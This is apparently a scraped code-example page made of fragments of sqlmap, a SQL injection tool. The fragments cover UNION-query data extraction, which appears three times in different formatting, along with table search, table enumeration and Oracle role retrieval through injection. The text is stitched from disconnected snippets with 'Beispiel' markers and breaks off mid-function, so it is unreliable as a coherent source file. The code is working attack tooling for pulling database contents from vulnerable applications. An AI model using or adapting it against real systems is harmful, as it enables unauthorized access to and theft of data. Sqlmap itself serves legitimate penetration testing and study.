        debugMsg = "stripping ORDER BY clause from statement because "
        debugMsg += "it does not play well with UNION query SQL injection"
        singleTimeDebugMessage(debugMsg)

    # We have to check if the SQL query might return multiple entries
    # if the technique is partial UNION query and in such case forge the
    # SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table can
    # return multiple entries
    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
       kb.forcePartialUnion or \
       (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
       not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
       and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
            expression, dump)

        if limitCond:
            # Count the number of SQL query entries output
            countedExpression = expression.replace(
                expressionFields,
                queries[Backend.getIdentifiedDbms()].count.query %
                ('*' if len(expressionFieldsList) > 1 else expressionFields),
                1)

            if " ORDER BY " in countedExpression.upper():
                _ = countedExpression.upper().rindex(" ORDER BY ")
                countedExpression = countedExpression[:_]

            output = _oneShotUnionUse(countedExpression, unpack)
            count = unArrayizeValue(parseUnionPage(output))

            if isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            elif count and (not isinstance(count, basestring)
                            or not count.isdigit()):
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the SQL query provided. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif (not count or int(count) == 0):
                if not count:
                    warnMsg = "the SQL query provided does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)
                else:
                    value = []  # for empty tables
                return value

            if isNumPosStrValue(count) and int(count) > 1:
                threadData = getCurrentThreadData()

                try:
                    threadData.shared.limits = iter(
                        xrange(startLimit, stopLimit))
                except OverflowError:
                    errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (
                        startLimit, stopLimit)
                    errMsg += "with switch '--fresh-queries'"
                    raise SqlmapDataException(errMsg)

                numThreads = min(conf.threads, (stopLimit - startLimit))
                threadData.shared.value = BigArray()
                threadData.shared.buffered = []
                threadData.shared.counter = 0
                threadData.shared.lastFlushed = startLimit - 1
                threadData.shared.showEta = conf.eta and (stopLimit -
                                                          startLimit) > 1

                if threadData.shared.showEta:
                    threadData.shared.progress = ProgressBar(
                        maxValue=(stopLimit - startLimit))

                if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
                    kb.suppressResumeInfo = True
                    debugMsg = "suppressing possible resume console info because of "
                    debugMsg += "large number of rows. It might take too long"
                    logger.debug(debugMsg)

                try:

                    def unionThread():
                        threadData = getCurrentThreadData()

                        while kb.threadContinue:
                            with kb.locks.limit:
                                try:
                                    valueStart = time.time()
                                    threadData.shared.counter += 1
                                    num = threadData.shared.limits.next()
                                except StopIteration:
                                    break

                            if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
                                                               DBMS.SYBASE):
                                field = expressionFieldsList[0]
                            elif Backend.isDbms(DBMS.ORACLE):
                                field = expressionFieldsList
                            else:
                                field = None

                            limitedExpr = agent.limitQuery(
                                num, expression, field)
                            output = _oneShotUnionUse(limitedExpr, unpack,
                                                      True)

                            if not kb.threadContinue:
                                break

                            if output:
                                with kb.locks.value:
                                    if all(_ in output
                                           for _ in (kb.chars.start,
                                                     kb.chars.stop)):
                                        items = parseUnionPage(output)

                                        if threadData.shared.showEta:
                                            threadData.shared.progress.progress(
                                                time.time() - valueStart,
                                                threadData.shared.counter)
                                        if isListLike(items):
                                            # in case that we requested N columns and we get M!=N then we have to filter a bit
                                            if len(items) > 1 and len(
                                                    expressionFieldsList) > 1:
                                                items = [
                                                    item for item in items
                                                    if isListLike(item)
                                                    and len(item) == len(
                                                        expressionFieldsList)
                                                ]
                                            items = [
                                                _ for _ in flattenValue(items)
                                            ]
                                            if len(items) > len(
                                                    expressionFieldsList):
                                                filtered = OrderedDict()
                                                for item in items:
                                                    key = re.sub(
                                                        r"[^A-Za-z0-9]", "",
                                                        item).lower()
                                                    if key not in filtered or re.search(
                                                            r"[^A-Za-z0-9]",
                                                            item):
                                                        filtered[key] = item
                                                items = filtered.values()
                                            items = [items]
                                        index = None
                                        for index in xrange(1 + len(
                                                threadData.shared.buffered)):
                                            if index < len(
                                                    threadData.shared.buffered
                                            ) and threadData.shared.buffered[
                                                    index][0] >= num:
                                                break
                                        threadData.shared.buffered.insert(
                                            index or 0, (num, items))
                                    else:
                                        index = None
                                        if threadData.shared.showEta:
                                            threadData.shared.progress.progress(
                                                time.time() - valueStart,
                                                threadData.shared.counter)
                                        for index in xrange(1 + len(
                                                threadData.shared.buffered)):
                                            if index < len(
                                                    threadData.shared.buffered
                                            ) and threadData.shared.buffered[
                                                    index][0] >= num:
                                                break
                                        threadData.shared.buffered.insert(
                                            index or 0, (num, None))

                                        items = output.replace(
                                            kb.chars.start, "").replace(
                                                kb.chars.stop,
                                                "").split(kb.chars.delimiter)

                                    while threadData.shared.buffered and (
                                            threadData.shared.lastFlushed + 1
                                            >= threadData.shared.buffered[0][0]
                                            or
                                            len(threadData.shared.buffered) >
                                            MAX_BUFFERED_PARTIAL_UNION_LENGTH):
                                        threadData.shared.lastFlushed, _ = threadData.shared.buffered[
                                            0]
                                        if not isNoneValue(_):
                                            threadData.shared.value.extend(
                                                arrayizeValue(_))
                                        del threadData.shared.buffered[0]

                                if conf.verbose == 1 and not (
                                        threadData.resumed
                                        and kb.suppressResumeInfo
                                ) and not threadData.shared.showEta:
                                    _ = ','.join(
                                        "\"%s\"" % _ for _ in
                                        flattenValue(arrayizeValue(
                                            items))) if not isinstance(
                                                items, basestring) else items
                                    status = "[%s] [INFO] %s: %s" % (
                                        time.strftime("%X"), "resumed"
                                        if threadData.resumed else "retrieved",
                                        _ if kb.safeCharEncode else
                                        safecharencode(_))

                                    if len(status) > width:
                                        status = "%s..." % status[:width - 3]

                                    dataToStdout("%s\n" % status)

                    runThreads(numThreads, unionThread)

                    if conf.verbose == 1:
                        clearConsoleLine(True)

                except KeyboardInterrupt:
                    abortedFlag = True

                    warnMsg = "user aborted during enumeration. sqlmap "
                    warnMsg += "will display partial output"
                    logger.warn(warnMsg)

                finally:
                    for _ in sorted(threadData.shared.buffered):
                        if not isNoneValue(_[1]):
                            threadData.shared.value.extend(arrayizeValue(_[1]))
                    value = threadData.shared.value
                    kb.suppressResumeInfo = False

    if not value and not abortedFlag:
        output = _oneShotUnionUse(expression, unpack)
        value = parseUnionPage(output)

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %.2f seconds" % (
            kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
        logger.debug(debugMsg)

    return value
Beispiel #31
0
    def searchTable(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            bruteForce = True

        if bruteForce:
            message = "do you want to use common table existence check? %s" % (
                "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
                else "[y/N/q]")
            choice = readInput(message,
                               default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                regex = '|'.join(conf.tbl.split(','))
                return tableExists(paths.COMMON_TABLES, regex)

        foundTbls = {}
        tblList = conf.tbl.split(',')
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        tblConsider, tblCondParam = self.likeOrExact("table")

        for tbl in tblList:
            values = []
            tbl = safeSQLIdentificatorNaming(tbl, True)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                               DBMS.FIREBIRD):
                tbl = tbl.upper()

            infoMsg = "searching table"
            if tblConsider == '1':
                infoMsg += "s LIKE"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)

            if conf.db == CURRENT_DB:
                conf.db = self.getCurrentDb()

            if dbCond and conf.db:
                _ = conf.db.split(',')
                whereDbsQuery = " AND (" + " OR ".join(
                    "%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db))
                    for db in _) + ")"
                infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "",
                                                     ", ".join(db for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = "".join(
                    " AND '%s' != %s" %
                    (unsafeSQLIdentificatorNaming(db), dbCond)
                    for db in self.excludeDbsList)
                msg = "skipping system database%s '%s'" % (
                    "s" if len(self.excludeDbsList) > 1 else "", ", ".join(
                        db for db in self.excludeDbsList))
                logger.info(msg)
            else:
                whereDbsQuery = ""

            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            if any(
                    isTechniqueAvailable(_)
                    for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                              PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                query = rootQuery.inband.query

                query = query % (tblQuery + whereDbsQuery)
                values = inject.getValue(query, blind=False, time=False)

                if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                              DBMS.FIREBIRD):
                    newValues = []

                    if isinstance(values, basestring):
                        values = [values]
                    for value in values:
                        dbName = "SQLite" if Backend.isDbms(
                            DBMS.SQLITE) else "Firebird"
                        newValues.append(
                            ["%s%s" % (dbName, METADB_SUFFIX), value])

                    values = newValues

                for foundDb, foundTbl in filterPairValues(values):
                    foundDb = safeSQLIdentificatorNaming(foundDb)
                    foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                    if foundDb is None or foundTbl is None:
                        continue

                    if foundDb in foundTbls:
                        foundTbls[foundDb].append(foundTbl)
                    else:
                        foundTbls[foundDb] = [foundTbl]

            if not values and isInferenceAvailable() and not conf.direct:
                if Backend.getIdentifiedDbms() not in (DBMS.SQLITE,
                                                       DBMS.FIREBIRD):
                    if len(whereDbsQuery) == 0:
                        infoMsg = "fetching number of databases with table"
                        if tblConsider == "1":
                            infoMsg += "s LIKE"
                        infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
                        logger.info(infoMsg)

                        query = rootQuery.blind.count
                        query = query % (tblQuery + whereDbsQuery)
                        count = inject.getValue(
                            query,
                            union=False,
                            error=False,
                            expected=EXPECTED.INT,
                            charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "no databases have table"
                            if tblConsider == "1":
                                warnMsg += "s LIKE"
                            warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(
                                tbl)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query
                            query = query % (tblQuery + whereDbsQuery)
                            query = agent.limitQuery(index, query)

                            foundDb = unArrayizeValue(
                                inject.getValue(query,
                                                union=False,
                                                error=False))
                            foundDb = safeSQLIdentificatorNaming(foundDb)

                            if foundDb not in foundTbls:
                                foundTbls[foundDb] = []

                            if tblConsider == "2":
                                foundTbls[foundDb].append(tbl)

                        if tblConsider == "2":
                            continue
                    else:
                        for db in conf.db.split(',') if conf.db else (
                                self.getCurrentDb(), ):
                            db = safeSQLIdentificatorNaming(db)
                            if db not in foundTbls:
                                foundTbls[db] = []
                else:
                    dbName = "SQLite" if Backend.isDbms(
                        DBMS.SQLITE) else "Firebird"
                    foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = []

                for db in foundTbls.keys():
                    db = safeSQLIdentificatorNaming(db)

                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s LIKE"
                    infoMsg += " '%s' in database '%s'" % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    if Backend.getIdentifiedDbms() not in (DBMS.SQLITE,
                                                           DBMS.FIREBIRD):
                        query = query % unsafeSQLIdentificatorNaming(db)
                    query += " AND %s" % tblQuery

                    count = inject.getValue(query,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s LIKE"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                            db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2

                        if query.endswith("'%s')"):
                            query = query[:-1] + " AND %s)" % tblQuery
                        else:
                            query += " AND %s" % tblQuery

                        if Backend.isDbms(DBMS.FIREBIRD):
                            query = safeStringFormat(query, index)

                        if Backend.getIdentifiedDbms() not in (DBMS.SQLITE,
                                                               DBMS.FIREBIRD):
                            query = safeStringFormat(
                                query, unsafeSQLIdentificatorNaming(db))

                        if not Backend.isDbms(DBMS.FIREBIRD):
                            query = agent.limitQuery(index, query)

                        foundTbl = unArrayizeValue(
                            inject.getValue(query, union=False, error=False))
                        if not isNoneValue(foundTbl):
                            kb.hintValue = foundTbl
                            foundTbl = safeSQLIdentificatorNaming(
                                foundTbl, True)
                            foundTbls[db].append(foundTbl)

        for db in foundTbls.keys():
            if isNoneValue(foundTbls[db]):
                del foundTbls[db]

        if not foundTbls:
            warnMsg = "no databases contain any of the provided tables"
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)
Beispiel #32
0
                    def unionThread():
                        threadData = getCurrentThreadData()

                        while kb.threadContinue:
                            with kb.locks.limit:
                                try:
                                    valueStart = time.time()
                                    threadData.shared.counter += 1
                                    num = threadData.shared.limits.next()
                                except StopIteration:
                                    break

                            if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
                                                               DBMS.SYBASE):
                                field = expressionFieldsList[0]
                            elif Backend.isDbms(DBMS.ORACLE):
                                field = expressionFieldsList
                            else:
                                field = None

                            limitedExpr = agent.limitQuery(
                                num, expression, field)
                            output = _oneShotUnionUse(limitedExpr, unpack,
                                                      True)

                            if not kb.threadContinue:
                                break

                            if output:
                                with kb.locks.value:
                                    if all(_ in output
                                           for _ in (kb.chars.start,
                                                     kb.chars.stop)):
                                        items = parseUnionPage(output)

                                        if threadData.shared.showEta:
                                            threadData.shared.progress.progress(
                                                time.time() - valueStart,
                                                threadData.shared.counter)
                                        if isListLike(items):
                                            # in case that we requested N columns and we get M!=N then we have to filter a bit
                                            if len(items) > 1 and len(
                                                    expressionFieldsList) > 1:
                                                items = [
                                                    item for item in items
                                                    if isListLike(item)
                                                    and len(item) == len(
                                                        expressionFieldsList)
                                                ]
                                            items = [
                                                _ for _ in flattenValue(items)
                                            ]
                                            if len(items) > len(
                                                    expressionFieldsList):
                                                filtered = OrderedDict()
                                                for item in items:
                                                    key = re.sub(
                                                        r"[^A-Za-z0-9]", "",
                                                        item).lower()
                                                    if key not in filtered or re.search(
                                                            r"[^A-Za-z0-9]",
                                                            item):
                                                        filtered[key] = item
                                                items = filtered.values()
                                            items = [items]
                                        index = None
                                        for index in xrange(1 + len(
                                                threadData.shared.buffered)):
                                            if index < len(
                                                    threadData.shared.buffered
                                            ) and threadData.shared.buffered[
                                                    index][0] >= num:
                                                break
                                        threadData.shared.buffered.insert(
                                            index or 0, (num, items))
                                    else:
                                        index = None
                                        if threadData.shared.showEta:
                                            threadData.shared.progress.progress(
                                                time.time() - valueStart,
                                                threadData.shared.counter)
                                        for index in xrange(1 + len(
                                                threadData.shared.buffered)):
                                            if index < len(
                                                    threadData.shared.buffered
                                            ) and threadData.shared.buffered[
                                                    index][0] >= num:
                                                break
                                        threadData.shared.buffered.insert(
                                            index or 0, (num, None))

                                        items = output.replace(
                                            kb.chars.start, "").replace(
                                                kb.chars.stop,
                                                "").split(kb.chars.delimiter)

                                    while threadData.shared.buffered and (
                                            threadData.shared.lastFlushed + 1
                                            >= threadData.shared.buffered[0][0]
                                            or
                                            len(threadData.shared.buffered) >
                                            MAX_BUFFERED_PARTIAL_UNION_LENGTH):
                                        threadData.shared.lastFlushed, _ = threadData.shared.buffered[
                                            0]
                                        if not isNoneValue(_):
                                            threadData.shared.value.extend(
                                                arrayizeValue(_))
                                        del threadData.shared.buffered[0]

                                if conf.verbose == 1 and not (
                                        threadData.resumed
                                        and kb.suppressResumeInfo
                                ) and not threadData.shared.showEta:
                                    _ = ','.join(
                                        "\"%s\"" % _ for _ in
                                        flattenValue(arrayizeValue(
                                            items))) if not isinstance(
                                                items, basestring) else items
                                    status = "[%s] [INFO] %s: %s" % (
                                        time.strftime("%X"), "resumed"
                                        if threadData.resumed else "retrieved",
                                        _ if kb.safeCharEncode else
                                        safecharencode(_))

                                    if len(status) > width:
                                        status = "%s..." % status[:width - 3]

                                    dataToStdout("%s\n" % status)
Beispiel #33
0
                    def unionThread():
                        threadData = getCurrentThreadData()

                        while kb.threadContinue:
                            with kb.locks.limit:
                                try:
                                    valueStart = time.time()
                                    threadData.shared.counter += 1
                                    num = threadData.shared.limits.next()
                                except StopIteration:
                                    break

                            if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                                field = expressionFieldsList[0]
                            elif Backend.isDbms(DBMS.ORACLE):
                                field = expressionFieldsList
                            else:
                                field = None

                            limitedExpr = agent.limitQuery(num, expression, field)
                            output = _oneShotUnionUse(limitedExpr, unpack, True)

                            if not kb.threadContinue:
                                break

                            if output:
                                with kb.locks.value:
                                    if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
                                        items = parseUnionPage(output)

                                        if threadData.shared.showEta:
                                            threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
                                        if isListLike(items):
                                            # in case that we requested N columns and we get M!=N then we have to filter a bit
                                            if len(items) > 1 and len(expressionFieldsList) > 1:
                                                items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
                                            items = [_ for _ in flattenValue(items)]
                                            if len(items) > len(expressionFieldsList):
                                                filtered = OrderedDict()
                                                for item in items:
                                                    key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
                                                    if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
                                                        filtered[key] = item
                                                items = filtered.values()
                                            items = [items]
                                        index = None
                                        for index in xrange(1 + len(threadData.shared.buffered)):
                                            if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
                                                break
                                        threadData.shared.buffered.insert(index or 0, (num, items))
                                    else:
                                        index = None
                                        if threadData.shared.showEta:
                                            threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
                                        for index in xrange(1 + len(threadData.shared.buffered)):
                                            if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
                                                break
                                        threadData.shared.buffered.insert(index or 0, (num, None))

                                        items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)

                                    while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
                                        threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
                                        if not isNoneValue(_):
                                            threadData.shared.value.extend(arrayizeValue(_))
                                        del threadData.shared.buffered[0]

                                if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
                                    _ = ','.join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
                                    status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))

                                    if len(status) > width:
                                        status = "%s..." % status[:width - 3]

                                    dataToStdout("%s\n" % status)
Beispiel #34
0
    def getTables(self, bruteForce=None):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if bruteForce is None:
            if Backend.isDbms(
                    DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                try:
                    tables = self.getTables(False)
                except SqlmapNoneDataException:
                    tables = None

                if not tables:
                    errMsg = "cannot retrieve table names, "
                    errMsg += "back-end DBMS is Access"
                    logger.error(errMsg)
                    bruteForce = True
                else:
                    return tables

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                                       DBMS.HSQLDB):
            conf.db = conf.db.upper()

        if conf.db:
            dbs = conf.db.split(',')
        else:
            dbs = self.getDbs()

        dbs = [_ for _ in dbs if _ and _.strip()]

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        if bruteForce:
            resumeAvailable = False

            for db, table in kb.brute.tables:
                if db == conf.db:
                    resumeAvailable = True
                    break

            if resumeAvailable and not conf.freshQueries:
                for db, table in kb.brute.tables:
                    if db == conf.db:
                        if conf.db not in kb.data.cachedTables:
                            kb.data.cachedTables[conf.db] = [table]
                        else:
                            kb.data.cachedTables[conf.db].append(table)

                return kb.data.cachedTables

            message = "do you want to use common table existence check? %s " % (
                "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
                else "[y/N/q]")
            choice = readInput(message,
                               default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return tableExists(paths.COMMON_TABLES)

        infoMsg = "fetching tables for database"
        infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(
            unsafeSQLIdentificatorNaming(unArrayizeValue(db))
            for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].tables

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            query = rootQuery.inband.query
            condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None

            if condition:
                if not Backend.isDbms(DBMS.SQLITE):
                    query += " WHERE %s" % condition

                    if conf.excludeSysDbs:
                        infoMsg = "skipping system database%s '%s'" % (
                            "s" if len(self.excludeDbsList) > 1 else "",
                            ", ".join(
                                unsafeSQLIdentificatorNaming(db)
                                for db in self.excludeDbsList))
                        logger.info(infoMsg)
                        query += " IN (%s)" % ','.join(
                            "'%s'" % unsafeSQLIdentificatorNaming(db)
                            for db in sorted(dbs)
                            if db not in self.excludeDbsList)
                    else:
                        query += " IN (%s)" % ','.join(
                            "'%s'" % unsafeSQLIdentificatorNaming(db)
                            for db in sorted(dbs))

                if len(dbs) < 2 and ("%s," % condition) in query:
                    query = query.replace("%s," % condition, "", 1)

            values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                values = filter(None, arrayizeValue(values))

                if len(values) > 0 and not isListLike(values[0]):
                    values = [(dbs[0], _) for _ in values]

                for db, table in filterPairValues(values):
                    db = safeSQLIdentificatorNaming(db)
                    table = safeSQLIdentificatorNaming(unArrayizeValue(table),
                                                       True)

                    if db not in kb.data.cachedTables:
                        kb.data.cachedTables[db] = [table]
                    else:
                        kb.data.cachedTables[db].append(table)

        if not kb.data.cachedTables and isInferenceAvailable(
        ) and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(
                        db)
                    logger.info(infoMsg)

                    continue

                infoMsg = "fetching number of tables for "
                infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD,
                                                   DBMS.MAXDB, DBMS.ACCESS):
                    query = rootQuery.blind.count
                else:
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(
                        db)

                count = inject.getValue(query,
                                        union=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=CHARSET_TYPE.DIGITS)

                if count == 0:
                    warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(
                        db)
                    warnMsg += "appears to be empty"
                    logger.warn(warnMsg)
                    continue

                elif not isNumPosStrValue(count):
                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(
                        db)
                    logger.warn(warnMsg)
                    continue

                tables = []

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                          DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (db, (
                            kb.data.cachedTables[-1]
                            if kb.data.cachedTables else " "))
                    elif Backend.getIdentifiedDbms() in (DBMS.MAXDB,
                                                         DBMS.ACCESS):
                        query = rootQuery.blind.query % (
                            kb.data.cachedTables[-1]
                            if kb.data.cachedTables else " ")
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.FIREBIRD):
                        query = rootQuery.blind.query % index
                    elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB,
                                                         DBMS.INFORMIX):
                        query = rootQuery.blind.query % (
                            index, unsafeSQLIdentificatorNaming(db))
                    else:
                        query = rootQuery.blind.query % (
                            unsafeSQLIdentificatorNaming(db), index)

                    table = unArrayizeValue(
                        inject.getValue(query, union=False, error=False))
                    if not isNoneValue(table):
                        kb.hintValue = table
                        table = safeSQLIdentificatorNaming(table, True)
                        tables.append(table)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = "unable to retrieve the table names "
                    warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(
                        db)
                    logger.warn(warnMsg)

        if isNoneValue(kb.data.cachedTables):
            kb.data.cachedTables.clear()

        if not kb.data.cachedTables:
            errMsg = "unable to retrieve the table names for any database"
            if bruteForce is None:
                logger.error(errMsg)
                return self.getTables(bruteForce=True)
            elif not conf.search:
                raise SqlmapNoneDataException(errMsg)
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        if kb.data.cachedTables:
            for db in kb.data.cachedTables.keys():
                kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db]))

        return kb.data.cachedTables
Beispiel #35
0
    def getRoles(self, query2=False):
        infoMsg = "fetching database users roles"

        rootQuery = queries[DBMS.ORACLE].roles

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                users = conf.user.split(",")
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            values = inject.getValue(query, blind=False, time=False)

            if not values and not query2:
                infoMsg = "trying with table USER_ROLE_PRIVS"
                logger.info(infoMsg)

                return self.getRoles(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    roles = set()

                    for count in xrange(0, len(value)):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the roles
                        else:
                            role = value[count]

                            # In Oracle we get the list of roles as string
                            roles.add(role)

                    if user in kb.data.cachedUsersRoles:
                        kb.data.cachedUsersRoles[user] = list(roles.union(kb.data.cachedUsersRoles[user]))
                    else:
                        kb.data.cachedUsersRoles[user] = list(roles)

        if not kb.data.cachedUsersRoles and isInferenceAvailable() and not conf.direct:
            if conf.user:
                users = conf.user.split(",")
            else:
                if not len(kb.data.cachedUsers):
                    users = self.getUsers()
                else:
                    users = kb.data.cachedUsers

            retrievedUsers = set()

            for user in users:
                unescapedUser = None

                if user in retrievedUsers:
                    continue

                infoMsg = "fetching number of roles "
                infoMsg += "for user '%s'" % user
                logger.info(infoMsg)

                if unescapedUser:
                    queryUser = unescapedUser
                else:
                    queryUser = user

                if query2:
                    query = rootQuery.blind.count2 % queryUser
                else:
                    query = rootQuery.blind.count % queryUser
                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    if count != 0 and not query2:
                        infoMsg = "trying with table USER_SYS_PRIVS"
                        logger.info(infoMsg)

                        return self.getPrivileges(query2=True)

                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "roles for user '%s'" % user
                    logger.warn(warnMsg)
                    continue

                infoMsg = "fetching roles for user '%s'" % user
                logger.info(infoMsg)

                roles = set()

                indexRange = getLimitRange(count, plusOne=True)

                for index in indexRange:
                    if query2:
                        query = rootQuery.blind.query2 % (queryUser, index)
                    else:
                        query = rootQuery.blind.query % (queryUser, index)
                    role = inject.getValue(query, union=False, error=False)

                    # In Oracle we get the list of roles as string
                    roles.add(role)

                if roles:
